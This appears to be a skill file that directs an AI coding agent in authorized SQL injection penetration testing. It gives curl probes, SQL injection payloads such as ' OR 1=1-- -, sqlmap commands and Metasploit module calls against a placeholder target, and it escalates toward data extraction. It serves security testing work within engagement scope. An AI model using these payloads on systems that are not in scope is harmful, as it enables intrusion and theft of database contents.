metasploit-cursor-harness: Skill for Cursor

SQL Injection Pentest

Prerequisites

• Target is in scope (scope/scope-master.txt, engagement ROE).
• Load web-app-pentest for overall web testing context.
• After confirmed DB access, load database-pentest for post-exploitation enumeration.

Triggers

• SQL syntax errors, ODBC/JDBC messages, or DBMS version strings in responses
• Single quote (') or double quote breaks page behavior or changes result count
• Numeric parameters accept arithmetic (1, 2-1, 1 OR 1=1) with different output
• Search, filter, sort, pagination params (id, cat, order, limit)
• Login forms, cookies, headers, JSON fields concatenated into queries
• Second-order symptoms: stored input triggers SQL errors on a later page

Workflow

Task Progress:
- [ ] Map injection points (params, headers, cookies, JSON, ORM layers)
- [ ] Confirm injection type: error, boolean blind, time blind, union, stacked
- [ ] Identify DBMS (keywords, errors, timing functions)
- [ ] Test with low-impact probes, escalate to data extraction
- [ ] Document with request/response evidence and extracted data samples

Detection

Error-based probes

CLI (primary for web vulns):

# Manual probes in Burp Repeater or curl
curl -s "http://<target>/search?id=1'"
curl -s "http://<target>/search?id=1' AND 1=2-- -"

Payloads: ' OR 1=1-- -, " OR "1"="1, ' AND 1=2-- -

MSF MCP:

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/http/blind_sql_query",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "TARGETURI": "/search", "QUERY": "id=1'", "METHOD": "GET"}
)

Boolean blind

CLI (primary):

sqlmap -u "http://<target>/search?id=1" --technique=B --batch --level=3

Payloads: ' AND 1=1-- -, ' AND 1=2-- -, 1 AND 1=1, 1 AND 1=2

MSF MCP:

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/http/blind_sql_query",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "TARGETURI": "/search", "QUERY": "id=1 AND 1=1", "METHOD": "GET"}
)